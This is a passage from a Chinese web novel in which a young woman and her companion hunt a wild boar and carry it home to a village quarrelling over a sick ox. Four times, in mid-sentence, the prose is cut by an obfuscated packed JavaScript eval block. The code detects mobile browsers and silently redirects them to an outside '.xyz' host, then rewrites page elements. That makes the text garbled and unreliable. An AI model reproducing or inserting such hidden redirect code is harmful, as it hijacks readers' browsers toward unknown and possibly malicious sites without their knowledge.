“你干嘛？”乔小遇侧眼低呼道。 陆桓食指放在唇间，示意乔小遇噤声，目光才转到那只停在了原地的野猪身上。 瞧得野猪用鼻子将那两块温热的土豆拱了拱，似不曾意识到猪群已然远走的情形，陆桓这才伸手从箭筒里缓缓地抽出一根箭来…… 箭头处泛着一道灼眼的光亮，且随着陆桓将手松开，失了警惕心的野猪忙声嗷叫，紧提起腿便朝前奔去。 野猪群也为得它这声长嗷惊散逃开，激起尘叶一片。 陆桓径直跳出隐身的灌丛，一边再次拉弓搭箭，朝那只拖淋了一路血迹的野猪射|去！ 情形发生得这样快，而乔小遇还未反应过来，便只见得野猪斜冲出去了段，接着轰声侧翻在地。 乔小遇嘴巴微张了张，见陆桓倚了一株松树朝她挥手，便知这野猪是猎成了。 “这么厉害？” 乔小遇笑眯眯地跑至那头野猪跟前，见其口鼻中渐渗出鲜血，圆胖的肚子还上下喘了粗气，却是疑问道：“可接着该怎么把它搬回去呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924358|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆桓似笑非笑地睨了眼乔小遇，方道：“别装了……既是我应允下的事，又怎好得让你开口求我？” “你且拿绳子来。”陆桓缓步走至乔小遇身前，见乔小遇一副要退手放下篮子的模样，却是直接提了篮子沿，阻了乔小遇动作，道：“我自己来拿便好。” 他身量高出乔小遇一个头，是以拿东西的动作毫不费力，而乔小遇但感受着肩膀处加了一股微沉的力道，旋又卸去，不禁轻笑了笑。 黑风听得陆桓的口哨声，倒不知是从何处蹿出来的，直跑到乔小遇跟前蹭了蹭，口中一边还津津有味地咀嚼着青草…… 且瞧着黑风直流哈喇子，而乔小遇偏还在旁给它挠痒的情形，陆桓鄙笑了句：“蠢马！” 很快，陆桓便用绳子将野猪紧套住了，遂使黑风过来半跪下腿…… 然黑风瞥了眼那头已经奄奄一息的肥野猪，马蹄却不论如何也不愿上前，只围着乔小遇一阵打转。 “可真是头蠢马，求人都能求错！这野猪就是替她驮的，可不是公子我非逼你不可！”陆桓呵笑着，目光戏谑。 乔小遇闻言不由得失笑，只轻抚了抚大黑马的脑袋，接着亲自把缰绳给解下一段来，拉挣着它走至陆桓跟前。 且看了眼黑风那委屈巴巴的样子，陆桓负手轻笑，假声嗤道：“因道你蠢，你便学着狡猾起来，可终究没学到几分……” 乔小遇已习惯了陆桓这般作派，垂睫低笑了笑，旋即便要上前帮忙。 “不用了，你在边上站着就行。”陆桓摆手叫乔小遇让开，手上则紧忙着将绳子缠绕过马腹，想了想又扯些干草垫着，免得勒到黑风…… 但随着黑风踉跄着身子站起来，乔小遇瞧过那野猪半挂在马背上的模样，不禁皱眉问道：“你怎这样斜挂着，就不担心半路掉下来？又或者黑风被坠歪倒？” “放心吧，黑风虽蠢，却不至于连这点重量都防不住。” 陆桓朝乔小遇轻扬了扬手头余得的半截绳子，接着对乔小遇道：“等回了山洞，将你那满篮子的兔肉之类的东西，也全都放上去，挂往另一边，黑风便也不会歪倒了。” “这小段路，便暂且扶一会儿吧。若是到了山洞再拴一回，这蠢马许就真不愿当个蠢的了。” 听得陆桓的打算，乔小遇微愣了片刻，才笑眼对陆桓阿颔了颔首。 “原是为了我想……也罢，那些肉死沉，我能得几分松泛也好。”乔小遇心下暗想着，见陆桓便要拉马前行，忙捡了陆桓的弓箭，紧步跟上，与他一并扶着那头半歪歪的野猪。 “我来就行。”陆桓将她拉至旁边，道：“这野猪还滴着血，你若是不小心染上，回去没准可真会吓着你爹娘。” 乔小遇只得收回了手，随在陆桓身后。 瞧着黑风那长满了肥膘的身体被绳子勒出了些凹痕，柔软的黑毛也被流出的猪血给凝作团团块块，乔小遇心想着要是有辆马车就好了——然这般想法方才生出，乔小遇便又觉着自己可笑得紧。 30. 是画中人 回去的路可有好一段窄巴巴的，容不得马车经行，她却是想的什么事？若只是在心下转一圈就能成事，她何必想着得个马车的便利就好？怕是家中米粮堆满了木箱，铜钱直需用布袋子装了才能满足吧…… 现实是，此番回程，她与陆桓若能在天黑前赶到乔家村就很不错了。 “连累你与我一同走路回去了……”乔小遇心下暗叹了口气，有些抱歉地对陆桓说道。 陆桓防着野猪肉坠下，无暇回头，只笑道：“这点路程不算什么。想我在书塾习书时结交了一名好友，我得知他父亲擅枪法，便也央着去学……他父亲很干脆地就收我为徒了，可那枪法竟却隔了两月才教。” “而在那两月之中，我一下学堂便被师父使了绕他家门前的小丘陵跑步，直到明月高悬，才被放回家去歇息。”陆桓回忆起这段往事，心情便也跟着畅快了几分，道：“所以今日这几十里的山路，对我其实不算什么的。” “我还当你是个身骄肉贵的富公子呢……”乔小遇呵笑出声，其余的话到底没好意思说出来。 林中草木繁盛，她担心陆桓不好留意脚下，便主动走到了前头，提醒哪些地方有个坑洼什么的——当中态度，直可以用“殷勤”二字形容。 “到底凭空多得了头野猪不是？”乔小遇忍不住暗暗乐呵。 她心下虽所求甚多，却也是个极易满足的——只不是当真到了毫无应对之策，且失了应对之心的那一刻，能多走一步，多好过得一日，便不算太糟。 夕阳将人的影子拉得又瘦又长，直像两条长竹竿一般。 乔小遇远瞧见自家屋后的那棵柿子树，激动地对陆桓指道：“你瞧，那处便是我家了。” “你家竟不住在大村子里的？”陆桓侧头朝乔小遇看过来，几不可闻地低叹了声。 乔小遇听得这话，面上喜色僵滞了几分……她清楚陆桓话中所指究竟是什么。 若饥荒真有到临那日，她家里人守着这么一个空落落的院子，实是一件可怖之事，只怕那些在门前游聚的饥民所带来的恐慌感与花豹子一般无异，或是更甚。 “这样也好呢，耳中少听得些别人的家长里短，倒是清净许多。”乔小遇对陆桓微笑了笑，回身却紧抿了唇。 无意识间，她的牙齿将嘴唇上的那些皲裂开来的干皮一通撕扯，以至于渐沁出丝丝鲜血来，可人却浑然未觉…… 走在她斜后方的陆桓听得她这话，脚步微缓，沉默地凝望着她那道单薄的背影许久。 …… 渐走近了，乔小遇听得妹妹那哼哼唧唧的啼哭声，神色变得柔和起来。 “那是我妹妹。”乔小遇回头对陆桓笑着解释了句，脚下步伐加快了些。 瞧得她的身形渐融入橘色的余晖当中，陆桓轻笑着紧拉了下手中的缰绳。 然纹丝未动…… 陆桓有些诧异地回头朝黑风看去，见这匹蠢马痴痴望着道旁那条宽阔的河水，不禁笑着走近了些，轻挠着黑风说道：“等卸了你背上的东西，便由着你来耍一会儿。” 真是可怜见…… 黑风兴奋地打了几个响鼻，才随了陆桓的步子上前。 乔小佩原是失了耐心的，一见是她姐回来了，连忙撒腿跑至门口，“姐姐，你可终于回来了。” 小小的人儿在这几日里是不敢表露出的担忧与疑问的，但这一瞬间却仿佛寻到了一个安心的空间般，使她能倾诉所有…… 乔小佩的话音里不可抑地带了一丝哭腔，道：“你不知道，家里出事了！唔，也不是说家里出事了，而是长田叔家里的牛似乎染上了怪病……” “怪病？可是牛疫？”乔小遇心下微急，但听着妹妹那断断续续的话音，不禁一阵皱眉。 乔小佩无措地摇头道：“我不知道，没人知道……” 乔小遇轻抚了抚妹妹的脊背，疑问道：“主要是这事和咱家有什么关系呢？爹娘也都不在家？” 乔小佩抿了抿唇，终得了几分空息得以理顺思绪，才应道：“长田叔家的牛如今口中溃烂，也有腹泻的症状，村里都传开了，何里正一口咬定是得了牛疫，领了人要去把牛拖出去宰了。” “菜粉婶子自是不愿，且说何里正是为了之前那些个来村里投机收土豆的人公报私仇……双方争执了两三日，隔三差五地就在宝树哥家的院子里打擂台，爹娘也被叫去了。” 话及此处，乔小佩便觉着心口似堵了口气般，咬唇说道：“菜粉婶子硬说她家牛是被咱家拉去使了抄地后才出现的那症状，许不过就是普通畜病，哪里是什么牛疫……” 乔小遇闻言沉默了片刻，凝眉看向妹妹，道：“菜粉婶子是想叫咱家担责？可说怎么个担法？” “或许也不全然是这个意思，菜粉婶子终究还是不愿意就那般眼睁睁地看着何里正欺到她家头上，带人便把那头值钱的大黄牛宰了的，不是么？” 乔小佩不想令她姐对乔宝树一家多生出什么想法，便试着把傅娘子的原话转述出来——只她的语气没能掩过其中纠结，且说这话时甚至都不敢去看乔小遇的神情。 “呵，这牛疫可传得真快，这都到拖罗河湾子里了。” 姐妹俩循声回过头来，但见一人一马静静地站在光影下，将院门口外堵了个实在。 陆桓朝前踱了两步，懒洋洋地倚在乔小遇家的院门侧边，目光里是一片清宁笑意，叹声道：“你爹娘既不在家，敢情就只有我帮你当苦力卸东西了？” “怠慢了。”乔小遇收回神来，尽力作出一副释然模样，道：“我来帮你。” 乔小佩被这一幕给惊疑了片刻，只待陆桓走得近了，看清人满身的血迹泥浆后，不由得张大了嘴巴，下意识地往后退了几步。 马背上还斜挂着一头野猪，此时因着绳套微松的缘故，那野猪头翻吊朝下，原含在口中的微热的血便猛地一下倒出，在石板上溅出两朵大小不一的殷红色花瓣来…… “小佩，还愣着做什么？快去寻两三个干净些的口袋放在偏屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924359|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地板上。”乔小遇一边解着系在篮子手上的绳子，回头见妹妹竟还在发怔，连忙招呼她道。 瞧着人呆若木鸡，陆桓不由得轻笑了笑，甚至还特意朝乔小佩扬了扬自己那张满是血污的手。 “你就别吓我妹妹了。”乔小遇瞪了一眼陆桓，将篮子卸下后，接着转身过来与陆桓一道支着马背上将坠未坠的野猪。 “我看起来到底是有多凶神恶煞？”陆桓不满地瘪了瘪嘴，抬眼瞧得乔小遇家门口的高石坎和窄巴巴的偏屋门，拉了黑风上前。 乔小佩正从门里出来，差些便撞在那歪侧了身、堵在门口的黑风身上，连忙回缩了几步。 “姐姐，我已经垫好了。”她话音里带了几分凝滞感，但站在门内看乔小遇一阵忙着，却不知该怎么帮忙。 乔小遇虽不曾抬头，却也笑应了声，而黑风将野猪倒摔在门口后，身上终得了轻快，甩了甩尾巴便要离去。 “你这蠢马，缰绳若被你拖脏了，回去就别想吃草料了！”陆桓的靴子紧踩了缰绳的一头，旋直起身来，把缰绳绕了几圈，围套在马颈上。 黑风摆了摆头，似显得十分不耐，只待陆桓轻拍了拍它，这才蹬起前蹄，撒欢似地冲出院去。 “姐姐，这野猪你怎么猎到的？”乔小佩低头见着那滩浸漫而出的血水很快便流到鞋边，讶异出声。 乔小遇朝陆桓的方向指了指，笑道：“这是他猎的，权作个人情送给咱家。” 乔小佩若有所思地点了点头，微凝的视线朝陆桓探了过去。 遍布周身的血泥与光洁明晰的轮廓，给人所带来的视觉冲击实与先前滴落在石板上血色花瓣无异，且看他笑得眉目温和，可那双沾满血痕的手却终究带了一股瘆人的距离感。 乔小佩艰难地挤了挤唇角——算是打过招呼了。 三人合力，可终于把野猪给拖进了偏屋里。 “可算得到家了。”乔小遇活动了下自己的手臂，长长地吐出一口气来。且见远山尽被暮日晕染得一片深橘，而自家院中那些斑驳的血痕则泛着层幽红，乔小遇的眉眼间也浸上了这层颜色，俨然成了画中人。 陆桓将装了肉的篮子给提上石坎，无意间瞥过草篓子里胡乱爬着的青黑石蚌，赶忙便将头偏往一旁，转问道：“我的弓箭呢？” “你要走了？”乔小遇这般问了句，旋又觉着自个儿实问了句无用的，才又道：“我去拿给你。” 她应当知道的，若非意外，陆桓应是昨日下午便归家去了的，可如今为着她的事却还耽搁了许久，想来他父母也应当十分焦急。 乔小遇抿了抿唇，寻过弓箭来递给陆桓后，复又问过妹妹家中可有什么能带在路上吃的东西。 陆桓将弓箭背在身上，闻声连忙轻摆了摆手拒绝，道：“不用了，我骑马不过一个时辰就能到家……” “还有两个土豆和半张饼哩。”乔小佩眨了眨眼，问道：“姐姐是要拿给陆哥哥路上吃吗？” 乔小遇朝她点了点头。 31. 隐而不报 陆桓但见乔小佩紧忙进屋里拿了火钩扒灰，不由得轻笑道：“你小妹这会儿怎又不怕我了？” “还上赶着殷勤……就跟你一般，真是个小狗腿子。”陆桓侧瞥了眼乔小遇，暗暗腹谤着，眸中却显笑意。 只他这笑意很快便凝住了…… “陆哥哥，这张苦荞饼是阿婆家的小武哥哥送给我的，现下还留得一半，你留在路上吃。”乔小佩一边说着，便要将东西往陆桓手里塞。 陆桓且看了眼那饼的边缘竟是满排的月牙口，嘴角不由得抽动了下，嗫声道：“我且先去洗下手……” 乔小遇见他神色略僵，抿唇轻笑了笑，抬眼对妹妹嘱咐道：“天色也晚了，也不论长田叔家那边的擂台打得如何，你且快去叫爹娘回来吧。” “可何里正他们会放人吗？”乔小佩皱了皱眉，接着道：“前两日里可闹了整个下午的，爹娘总被扯住脱不开身，地里的活没时间干不说，且心里总还惦记着你。” “他们道说要去大坪山上寻你吧，几个伯婶是乐得看热闹的，都说大坪山那带能寻着什么菌子，早被村里人转过几遍了，爹娘尽诓人。”乔小佩话音轻泣，道：“便没见过这么隔岸观火的！可气死我了。” 乔小遇凝声道：“那你此去便与爹娘说，我已回了家来，只脚还被崴着了，这般他们便不好再留人。至于旁的，莫要多说半句。” 乔小佩颔首应过，匆步走出院门。但见陆桓的大黑马在河里撒欢戏水，乔小佩不禁又回头看了眼自家院子方才离去。 陆桓就着井边木盆里的水洗过手后，迎上乔小遇递过来的饼子，皱眉便欲直言不必，可乔小遇却道：“这可是我小妹从牙缝里挤出来给你的，你且接着就行，若不爱吃也别随意扔了，喂家里的狗也是成的。” 在乔小遇看来，小妹就是个糯米团子，且将它放在火上温热，人在旁精心看护着，时辰到了，这团子自会涨大。幼时她好好教着，小妹渐懂得还报恩情确是令人欣慰。 陆桓轻笑了笑，想及家中那条在侧门那处拴着的凶巴巴的大黄狗，觉着将这薄饼拿与它吃实在有些浪费，当即便张口咬了嘴那薄饼，并道：“我家里没有养狗。” 乔小遇神色微愣了下，旋又浅笑着摇了摇头，随在陆桓身后两步送他离开。 暮日下，有清河黑鬃，也有水珠在空中遍扬。 黑风大抵是玩疯了，听得口哨声响了两回，这才恋恋不舍地从河里出来…… 陆桓斜睨了眼它那慢悠悠的模样，冷呵出声：“竟比我还装大爷……得了，回去后便教你一个月没得洗澡，泥臭死你活该！” “泥臭了你还好意思骑出门去？”乔小遇伸手轻抚摸着黑风凑过来的脑袋，上下打量了眼陆桓，轻笑道：“眼下它不嫌弃你，你便该知足了。” 黑风仿佛听出了其中意思，竟粗声朝陆桓打了两个响鼻，以示不满。 “是么？”陆桓瞳孔微缩，环抱着的双手轻松开来，朝黑风恫吓道：“那盛家庄上的那匹白马，你也不要见了。” 黑风闻声开始不安地来回走动，可陆桓却不理会它，只把缰绳拽紧了，一边拿过乔小遇手中的干抹布，仔细擦过马鞍和马腹上的水滴。 既提到了盛家庄，乔小遇便不再接过话题，只嘴角依旧洋溢着浅浅的笑容。 敏|感如她，已隐隐猜得几分“盛家庄”三字对陆桓的“意义”，而凝了眉色的陆桓也没有与她解释那匹白马的来历，只轻声道：“你长田叔家的那头牛，即便染的不过是普通的畜病，你们也不能大意。” “若真得了牛疫，那很有可能是从外头传进来的。” 陆桓将用好的抹布递到乔小遇手中，并不急着翻上马背疾驰而去，只一双如黑曜石般澄亮的眼定定地看向乔小遇。 乔小遇垂下眼睫，轻吐出了口气，对陆桓点头道：“我明白你的意思，左右那牛染的什么病，染病的缘由是什么，这缘由是否与我家里相关，都不是他们打擂台就能分辨个清楚的。” “我家里人说话没有什么分量，有的人许是为了把水搅浑些也好，或是落井下石也罢，从明天起，我都不会让我爹娘再过去了。” 乔小遇话音稍顿了顿，接着补充了句：“至少在事情未明之前。” 陆桓微绷的神色终得了几分舒缓，赞许地点了点头，接着沉声道：“不过仅这般就想置身事外，别人可不见得乐意。” 乔小遇闻言微蹙了眉，她棕黄色的眸中似映了浓重的秋意，此时轻风四扬，竟将成片的银杏叶都卷入了空中…… “那该怎么办？” 陆桓思索片刻，道：“如今淮水一线牛疫频发，势态难以控制，朝廷置群牧司应对牛疫之事，各州府县衙都遣了兽医巡诊颁方。你们村里既怀疑有牛染了疫病，里正却隐而不报，还在这里空口断疫，当真是……” 陆桓轻嗤了声，摇头叹道：“明日你且赶早去盛家庄吧，至于你们村里疑似发生牛疫的事，我会遣了人去县衙透个消息。” 他着意咬重了“疑似”两字，清俊的面上渐浮起一抹笑意，才翻身上马，“我走了。” “那可多谢你了！”乔小遇的眼底渐浮起一抹深切的笑意，仿佛所立道旁的宽阔的河流般，挟了一股生动的气息不停地流涌向前…… 乔小遇看了眼来回打转的黑风，接着对陆桓嘱托了几句类似于路上小心些的话，才招手送人离开。 马声咴咴，尘灰一片…… 只待尘色散去，视线里复是一派清澈明净，而陆桓的身影却是消失不见了。 乔小遇顿在原处，心思微怔，却是不禁感叹自己居于乔家村这样的僻壤之处，许多消息便免不了闭塞。 若是与自身关切不及的便也罢了，可如牛疫这事，朝廷设群牧司的消息却不是愚昧的村里人所能够触及的，更别提官府是否还有些什么救助措施…… 这些她都不知道。 乔小遇轻叹了口气，渐觉着她之前所设想的诸如多存些米粮钱财， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924360|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀中能多揣些房地之契，便不论外间究竟发生多少波折，一家人也能安然度过的念头并非只是想想就能成的。 便是身体力行，依旧不见得能够。 远山层叠，不知屏遮住了多少马鸣车行之声，亦屏遮住了村里人朝外听的耳。然若是外界不太平，乔家村却又免不了被波及。 乔小遇举目远眺，话音轻喃道：“总这样下去，那还有什么盼头？终归与我刚到这处地方时，每日便只顾得面朝黄土背朝天地挖土豆的情形差不多了……” 挖土豆能有什么盼头呢？ 好不容易挖完，背回家，翻来覆去地将里头的烂土豆挑了，一家人却却依旧没法子安心，只因那土豆太少，能撑到来年春种都很困难。且抽芽的土豆不能多吃，而春风刮过两三个旬日后，就是能吃，却也干得似块石头，还如何下腹？ 乔小遇意识到，想要凭着积累些钱物便安然度过外间的风风佩佩，终是不够的。 “若乔家村换了里正，寻个能担事的出来，许能在危难之际……”她的话音终不是十分确定。 这种法子，实与寻个守着渡河的船夫差不多罢了。 谁能笃定，这船夫不会将船划至半央了，便将船篙指向船上所载着的渡河之人？但凭其不识水性，落水恐将溺死以相威胁，尽勒索些金钱帛绸？ 乔小遇摇了摇头，暗笑自己似乎不自觉间将许多人、许多事尽往恶处想去了…… 但有一点她是确定的，那就是在目前看来，村里需要有一个新里正，关于牛疫的消息，村里人需知道得更及时、更全面。 乔小遇沉着心思，不知不觉地就走到了院门口，她侧眼瞥过一眼去大村子方向的路，并未瞧见爹娘，便先进了院子。 但看着那些滴落在石板上的野猪血迹，乔小遇没有借隙歇一会儿，只从吊井中打出了许多水来，打算将其冲刷干净。 若等血痕干凝，想再清洗干净便难了。 明日她与爹娘都不在家，若何里正与长田叔家搭起的擂台还要紧拉了爹娘过去，使来的人且看一眼院子里的情景，还指不定会闹出什么风言风语呢。 将院子收拾好之后，乔小遇进屋看过灶上，见妹妹只是先将饭蒸了，便又折了几段木柴放进火中…… 回想起陆桓往火堆上敷衍地放过几根粗木干柴，直将火给压灭了的情形，她的眼底便不由自主地泛起一抹柔和的笑意来。 提过茶壶放在灶圈上，乔小遇却又瘪了瘪嘴，自嘲道：“人与人终究不同，只各自都有令自个儿发愁的事情。一句说别人是‘吃饱了撑的’的刻薄话，当中更多的却是羡慕吧。” 她羡慕陆桓，也羡慕乔宝树，可她终究不是他们。 “小遇？小遇……”乔小遇正将煮好的白菜给盛到碗里，便听得爹娘的话音从院子里传来。 傅娘子但瞧得乔小遇一边摆着碗筷，一边满面笑意地唤他们过去吃饭的情形，溢了满眶焦急与疲累之色的浑黄的眼忍不住流下泪来。 32. 牵扯其中 一如平日——可傅娘子清楚，乔小遇已不仅仅是当初那个乖顺听话的女儿了。不曾与父母打声招呼，自顾着进山采菌便也罢了，偏还去了好几日，夜里怕是只能随意寻个山洞窝着的…… 这惹得一家子人提心吊胆，傅娘子原先还想发火来着，可除了乔冉安，她这火气也没法子找别人发。等后头夫妻俩都开始急了，想上山去寻时，哪成想就遇上了乔长田家的牛染病的事？ 左右人回来了就好…… 傅娘子哭得泪眼婆娑，可终究是半句重话也舍不得说乔小遇了，只连忙过去将女儿紧搂在怀中。 “你这还忙什么？不是脚崴了么，先别吃饭了，娘带你去找孙婶子摸下骨头……”傅娘子忙抹了泪，一边拉过乔小遇便要背她出门。 “什么脚崴了？我那是让小佩说了诓人的！”乔小遇轻拍了拍她娘的脊背，步子往后挪了挪，疑问道：“难道小妹路上没同你们说清楚么？” 傅娘子与乔冉安对视了眼，面上神色均还恍惚着，似还未反应过来究竟发生了什么，这厢被着急忙慌的乔冉安夫妻俩落在后头好一截的乔小佩方才赶到家中。 她手叉在腰际，气喘吁吁，等咕噜噜地灌下几口水后，不禁低呼自己的嗓子几乎要冒起烟来了。 …… 夜里，一家人开始收拾那头野猪。 好在野猪已是断了气的，倒不必再去请人来帮忙。乔小遇一边从井里打水帮衬，回头瞥过她爹娘面上的那抹欣喜之色，心里则寻思着该怎么劝爹娘把家里的猪仔给先宰了。 “姐姐，你是没瞧见爹娘听得你总算是回家时的反应，可是‘凶神恶煞’了。凑热闹的几个伯婶但说了句阻挠的话，立马就被娘给凶了回去。” 乔小佩接过她姐提过来的水，侧目瞥了眼忙碌着洗猪肠子的爹娘，复才低声说道：“眼见得当时就要起争执，伯婶几个甚至还指了娘手里的扫把说娘要打人来着，结果你猜怎么着？” “娘竟气得丢开了扫把，直接提起长田叔家门口的锄头就朝人冲去，竟是要真动手了！旁边的人紧忙拦住，伯婶几个终顾不得哭卿卿的了，扯了嗓子就要骂人……” “可娘出口比她们还快，就似年节里乔大闯家装腔子，炸得满村子噼里啪啦响的爆竹一般，一点也不饶人。” 闻言，乔小遇的目光不由得一阵微凝，整片心湖仿佛也被那缕从树隙间渗落下的月光给照得一片通明。 此时她便只是静静地听着，也能完全想象得到当时的情景……若不是被逼得狠了，傅娘子表现出的所谓“泼辣”是不会到那种地步的。 乔小佩得了她娘的吩咐，将装了猪肠子的木盆拖将出来，只没到半路便就卸了力气，乔小遇连忙上前帮她。 “这可太累人了，明天你们可背得动？”乔小佩一屁股坐在井台边上，愁眉道：“若是家里有匹马就好了，倒省了咱家不少人力。” “所以有马了，你可能每日割草来与它吃？”乔小遇微笑了笑，道：“你便是看了陆桓的那匹黑马，自个儿心动罢了。” “若爹身子骨好，咱家里喂牛养马倒也能应付得过来，只照着如今这情形，怕只是个拖累罢了。” 乔小遇稍顿了顿语气，垂睫说道：“且牛疫的事……如今长田叔家的牛染病仅是个开头，可村子里都闹成什么样了。” 乔小佩沉默半晌，不禁低叹了口气，旋走至木盆旁，与她姐一同晾过猪肠子上的水。 “姐姐，你说要是长田叔家的大黄牛真得了牛疫……”乔小佩侧眼留意着乔小遇的神情，一边低声问道：“那咱家来年的牛还与他家借了使吗？” 乔小遇闻言倒直接侧过头来看向妹妹，眸中笑意似有似无。 “我只是听闻，染了疫病的牛一般都已活不了。”乔小佩如此应了句，余下的话却尴尬地梗在了喉咙口，直到她主动避开乔小遇的视线，方才有了几分勇气继续说道：“之前我去叫爹娘回家来时，宝树哥听得你崴了脚，便急匆匆地出门，要随我来看你……” “可那院门还未踏出半步，宝树哥便被菜粉婶子叫住了。”乔小佩但回想起乔宝树他娘那张仿佛凝了一层霜的面皮，有些嫌恶地摇头龇牙。 乔小遇手中动作微滞，嘴唇嗫嚅地轻动了动，却什么都不曾说，只立起脚尖，继续挂猪肠子。 “到了这会儿，宝树哥却还不曾过来看一眼，显然是被他娘给拴住了。”乔小佩轻叹了口气，斜瞥过眼来，却见她姐面无表情，这才意识到自己说了些不该说的话。 “姐姐，你别多想，菜粉婶子兴许只是暂不想宝树哥与咱家走得太近……” “不是暂不想，菜粉婶子一直便是这般想的。”乔小遇缓缓出声道。 她的嘴角轻扯起一抹戏谑的笑容，而那双清澈的眼却似院中那口深井一般平静无波，接着道：“这件事长田叔家本不该把咱家牵扯进去的。” 乔小遇语调平缓，似乎只是在陈述一个再平常不过的事实，至于嘴角的那抹戏谑笑意，亦非针对的乔宝树他娘。 “事情闹成这样，你已做不到对菜粉婶子辩护几句，却希望我不要为此迁责到乔宝树身上，可是心里还在想着别的什么？或是你又从娘那里听了几句什么？” 乔小佩稍稍偏侧过脸去，抿唇不答。 乔小遇清冷的视线静静地停落在爹娘身上片刻，才对妹妹说道：“若说后来人家打擂台硬是拖了爹娘去，爹娘算是无可奈何，可最初他们便应把此事摘干净……” “即便觉着摘得太干净，面上不会好看，也可以存些疑问，何必把祸患水罪责往自家身上引，以为这般便可以帮到长田叔家呢？” 闻言，乔小佩的脸色不由得一阵尴尬，眼睛直盯着鞋尖，愣愣道：“爹娘确是想着帮长田叔家一把，所以才顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924361|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着菜粉婶子的话应了几次头。” 乔小遇淡淡地接过话头：“等后头事情有些不对了，爹娘便想脱身也来不及了……菜粉婶子直想当回蚂蟥，傍着咱家的腿，可吸一大口血才好呢。” 乔小佩心头似梗塞着什么不复平日里的明敞，忙解释道：“只爹娘这样做，也不全然为了你，他们也是不想大黄牛真被当做染了疫病，直接拖去宰杀了。” “我怎会不知道？”乔小遇几不可闻地叹了声，道：“有的事便是这样，你叫不醒的时候叫不醒，叫醒了却又发梦冲。” “咱家之前帮长田叔家里挖土豆，那是为了还他家平日里借牛与咱家使的情分。可此番若他家的牛真染上了疫病，咱们便再不能把秋耕和春耕的事指望着他家。” “这终究是两回事，可爹娘到现下都不曾意识到。但无论他们怎么想的了，等兽医来瞧过那头大黄牛的情形后，爹娘就会另打算盘的。”乔小遇眯了眯眼，话音略带了几分促狭意味。 …… 月渐西斜，周遭依旧被笼在迷蒙的夜色当中，可乔小遇一家除了那只小糯米团子却都起床了。 乔冉安夫妻俩依过女儿的盘算，心想着要去盛家庄了，竟还拿出了新年时要穿的衣服准备换上…… 见此情状，乔小遇直忍不住一阵扶额，开口劝道：“那野猪肉上且还渗着血水呢，你们穿这衣裳去，到了那恐怕早就染得泥遭遭的了。” 迎上女儿那道无奈的目光，傅娘子的脸没来由地一阵发烫，呵笑道：“是爹娘穷讲究了，这又不是咱家里办喜事……” 言毕便紧忙拖着乔冉安，将衣裳换成了平日里做活的那一套。 “爹娘平日里节约惯了，怎舍得为了在不认识的富人家跟前充面子，就将一件好好的新衣裳给糟蹋了呢。”乔小遇忍不住摇头失笑。 但见傅娘子紧忙着去偏屋里舀面糠的情形，乔小遇出声问道：“娘，您这是打算先把猪喂一顿么？” “是呀，总不好麻烦别人，你妹妹也不会煮……她今儿能好好照顾好自己就不错了。” 傅娘子皱眉轻嘘了声，接着道：“你与她说让她乖乖在家，中午泡些冷饭吃的话时，她还睡得迷迷糊糊，不知听清楚了没有。娘实在担心她醒来后不见家里人……可这情形又不好得将你妹妹送到乔阿婆那里。” “您放心吧，昨夜临睡前我已经仔细说过了。”乔小遇缓步走到傅娘子身边，却是凝声劝道：“至于这猪食就随意些吧，就着猪草拌些凉的就成，多费那面糠做什么。” 傅娘子呵笑道：“咱家猪仔可挑了，凉食若多是猪草，它们怕是看都不看上一眼。” “饿极了它还挑什么？左右咱们晚些就回来了，并不妨事。现下还是早些出门吧。”乔小遇劝道。 傅娘子思索片刻，终是点了点头，全然没有想到女儿心下盘算的是宰猪空腹的事。 33. 盛氏声名 鲜红色的兽物鲜血滴落在凹陷的鞋印中，一部分渗入了泥土，另一部分则被风吹干了去，到底是分辨不清了。 白墙青瓦，绿荫红纸。 离盛家庄愈近，地上所覆的爆竹燃尽后的碎皮纸屑便愈厚。 